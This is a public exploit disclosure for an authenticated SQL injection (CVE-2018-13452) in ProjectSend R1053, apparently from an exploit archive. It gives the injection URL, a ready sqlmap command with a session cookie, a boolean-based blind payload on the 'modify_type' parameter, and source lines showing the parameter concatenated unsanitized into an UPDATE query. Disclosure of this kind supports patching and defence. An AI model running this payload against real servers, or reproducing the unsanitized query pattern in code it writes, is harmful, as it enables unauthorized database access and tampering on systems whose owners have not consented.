ProjectSend R1053 SQL Injection

`# Exploit Title: ProjectSend - SQL Injection  
# Date: 27/07/2018  
# Exploit Author: GUIA BRAHIM FOUAD  
# Vendor Homepage: https://www.projectsend.org/  
# Software Link: https://www.projectsend.org/download/241/  
# Version: R1053  
# Tested on: ProjectSend version: R1053, php version: 7.0, MySQL version:  
5.7  
# CVE : CVE-2018-13452  
  
POC :  
  
1 - must be logged in  
2 - need to upload file and get id of this file  
3 - add relation to this file ( assigned to user )  
  
http://localhost/ProjectSend/manage-files.php?modify_type=<sqli>&action=show&batch[]=<id  
file>&modify_id=<id file>  
  
sqlmap.py -u "  
http://localhost/ProjectSend/manage-files.php?modify_type=4&action=show&batch[]=4&modify_id=4"  
--cookie="PHPSESSID=9jvcf5n4td8kvia6orjkp89mmt;"  
  
---  
Parameter: modify_type (GET)  
Type: boolean-based blind  
Title: MySQL >= 5.0 boolean-based blind - Parameter replace  
Payload: modify_type=(SELECT (CASE WHEN (1907=1907) THEN 1907 ELSE  
1907*(SELECT 1907 FROM INFORMATION_SCHEMA.PLUGINS)  
END))&action=show&batch[]=4&modify_id=4  
---  
  
  
Description of the problem :  
SQL Injection (unquoted)  
  
File : manage-files.php  
  
The GET parameter 'modify_type' is received in line 134 of the file  
manage-files.php.  
  
Line| Code  
132 | foreach ($selected_files as $work_file) {  
133 | $this_file = new FilesActions();  
134 | $this_file->change_files_hide_status('1', $work_file,  
$_GET['modify_type'], $_GET['modify_id']);  
  
The user-supplied data is concatenated into sql markup in line 180 of the  
file includes/classes/actions-files.php in the function  
change_files_hide_status().  
  
The user-supplied data is then used unsanitized in the sensitive operation  
prepare() in line 181 of the file includes/classes/actions-files.php in the  
method FilesActions::change_files_hide_status().  
  
File : includes/classes/actions-files.php  
  
Line| Code  
174 | class FilesActions{function change_files_hide_status($change_to,  
$file_id, $modify_type, $modify_id){  
180 | $this->sql = "UPDATE " . TABLE_FILES_RELATIONS . " SET hidden=:hidden  
WHERE file_id = :file_id AND " . $modify_type . " = :modify_id";  
181 | $this->dbh->prepare($this->sql);  
  
Environment  
ProjectSend version: R1053  
php version: 7.0  
MySQL version: 5.7  
`